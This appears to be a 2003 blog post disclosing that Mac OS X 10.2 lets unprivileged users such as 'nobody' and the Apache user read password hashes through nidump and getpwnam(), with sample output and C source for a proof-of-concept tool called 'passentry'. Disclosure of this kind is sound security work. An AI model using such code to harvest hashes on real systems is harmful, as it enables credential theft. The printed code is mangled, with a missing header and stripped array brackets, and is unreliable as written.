I know that security\’s never been a big part of MacOS X, but some things are just bad. I mean, real bad. First of all, it\’s possible for anyone to run nidump. This is just bad coding. This also isn\’t news. It\’s been reported a billion times by now.
%nidump passwd .
nobody:*:-2:-2::0:0:Unprivileged User:/dev/null:/dev/null
root:LK:0:0::0:0:System Administrator (Not My Pass!):/var/root:/bin/tcsh
daemon::1:1::0:0:System Services:/var/root:/dev/null
unknown::99:99::0:0:Unknown User:/dev/null:/dev/null
...
Well, atop of that, even if you disable or fix the permissions on niutil, you\’ve still got big issues. The basic password structure under Darwin is bogus all-together. Anyone can run a getpwnam(), and get the hash in the passwd struct.
What\’s this mean? Even a headless machine with no direct user access, but a bloody CGI running on your webserver might be able to drop your root account privs. Hell, \’nobody\’ can. There was the ability to /manually/ enable shadow passwords in 10.1.x, but it was broken, and doesn\’t even work in 10.2. Come on, guys. Fix password shadowing, do something! Most other UNIX derivatives haven\’t had problems like this in over a decade… and that\’s being lenient on years.
%sudo -u nobody ./passentry root
DEBUG: I\’m running UID -2, EUID -2. // That\’s nobody, folks.
I can read user root\’s password hash.
%sudo -u www ./passentry root
DEBUG: I\’m running UID 70, EUID 70. // The default Apache user.
I can read user root\’s password hash.
Apple, I give you a mighty “Booo-urnss”.
You can see where this might eventually be a problem. You don\’t really want any joe-schmoe with a ~Sites directory on your Xserve, or even your iMac to be handing out this information with a rogue script, do you?
Below is the code for \’passentry\’. If you can\’t figure it out, I doubt you should be using such a tool. ;) Note that it trivially tests to see if you\’re root, and if not, it will not print the password hash.
/* Yep, MacOS X is still horribly broken. Any user can get their, or other\’s
* password hash. Tested on 10.2.6, but most likely works with later… probably for years.
*
* Shawn Holwegner
#include
int main(int argc, char **argv) { struct passwd * pw;
if (argc <= 1) { printf(\”$Id: passentry.c,v 1.0 2003/10/01 00:40:54 shawn Exp $\\n\”); printf(\”%s: \’username\’\\n\”, argv0); exit(2); } pw = getpwnam(argv1); if (pw != NULL) { if (pw->pw_passwd != NULL) { printf(\”I can read user %s\’s password hash\”, pw->pw_name); if (getgid() == 0) { printf(\”, it\’s \’%s\’.\\n\”, pw->pw_passwd); } else { printf(\”.\\n\”); } } exit(0); } else { printf(\”Bummer, user \’%s\’ not found.\\n\”, argv1); exit(1); } }